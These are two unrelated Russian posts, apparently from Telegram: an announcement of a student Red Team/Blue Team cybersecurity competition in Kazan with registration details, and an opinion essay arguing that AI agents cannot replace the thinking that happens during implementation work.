Попробуйте себя в роли атакующего или защитника с полноценной подготовкой, рейтинговой системой и фокусом на практические навыки.

29–31 октября в Казани пройдет V Всероссийская студенческая кибербитва. Это соревнование по практической информационной безопасности, где команды студентов работают в условиях, максимально приближенных к реальности.

Команды Атакующих (Red Team) ищут уязвимости и реализуют атаки, команды Защитников (Blue Team) — расследуют инциденты и выстраивают защиту на модернизированном киберполигоне Innostage с цифровыми копиями реальных систем.

В юбилейном сезоне обновлен формат:

— уже с 24 августа участники начнут подготовку на киберполигоне, впервые для обеих ролей — и Защитников, и Атакующих;
— вместо классического отбора — диагностический этап: команды выполняют практические задания и распределяются по лигам (от новичков до продвинутых);
— количество баллов на кибербитве теперь складывается не только из результата, но и из техничности эксплуатаций уязвимостей, глубины расследований и других факторов.

Что это значит для участников? Больше практики, распределение по лигам и возможность расти в процессе подготовки к финалу кибербитвы. Впервые на подобных соревнованиях вводятся дополнительные номинации для оценки разных достижений команд еще в процессе предфинальной подготовки.

Требования к участникам:

✅ Студенты российских вузов и колледжей
✅ Базовый опыт в ИБ / CTF или готовность быстро погружаться
✅ Состав команды от 3 до 10 человек
✅ Интерес к развитию в кибербезопасности

До 10 августа соберите команду, зарегистрируйтесь и начните подготовку 🛡

Подробности и регистрация ➡️кибербитва.рф

Про утопию «люди думают, а роботы работают», или про то, как корпорации пытаются вернуть вотерфолл

Сегодня роботы берут на себя всё больше работы. Реализация, которая ещё вчера стоила много недель работы высокооплачиваемых специалистов, теперь занимает минуты и почти ничего не стоит. И кажется, что ещё чуть-чуть и мы придём к идеалу, о котором мечтают многие: человек думает, а машина реализует.

Но вот в чём дело, пока реализация была сложной и долгой, она незаметно выполняла две важные задачи.
Во-первых, заставляла репетировать: когда впереди недели труда, страшно потратить их впустую, и приходится сначала прогнать дело в дешёвом материале, на бумаге, в разговоре, в голове. Знакомое каждому мучение перед сложной задачей, когда откладываешь, завариваешь третий кофе, открываешь и закрываешь пустой файл, потому что непонятно, с чего начать, это не только прокрастинация, но и первый такт работы.
Во-вторых, думание происходило уже внутри процесса: материал сопротивлялся, что-то не сходилось, и в каждом таком «не сходится» вспыхивала мысль. Полдня писал код, упёрся, пошёл спрашивать совет у коллеги и на второй своей фразе сам увидел ответ. Согласитесь, большую часть своих лучших решений вы придумали не до работы, а в процессе неё.

Т.е. мысль не лежит готовой, дожидаясь исполнителя. Она совершается в самом действии, будь то черновик, спор, ёрзание перед пустым листом бумаги или возня с сопротивляющимся материалом. Вотерфолльная идиллия с чётким разделением на этапы «человек формирует намерение, затем агенты реализуют по плану» (пример 1, пример 2, их много) возможна лишь в случаях с высоким уровнем определённости, а значит без потенциала для рождения инновационных решений. Такое подходит только монополиям и компаниям, живущим на ренте.

В этом свете можно с бо́льшим пониманием отнестись к пожилым преподам в универах, которые отмечали посещение на лекциях и заставляли писать конспекты от руки. Выглядит как глупая метрика для зачёта: зачем писать от руки, если можно заснять на телефон, да и в учебнике же всё есть. Но ручное письмо, если и не гарантирует понимания материала, то даёт ему шанс случиться. Способ примитивный. Но хоть какой-то.

Поэтому повсеместное внедрение AI-агентов ускорит лишь отдельные участки конвейеров поставки ценности, те, что уже поняты и описаны. Но создание ценности целиком быстрее не станет: конвейеры были ограничены не скоростью рук, а скоростью осмысления, и вот её AI-агенты никак не изменили.

Источник Телеграм-канал Chief Philosophy Officer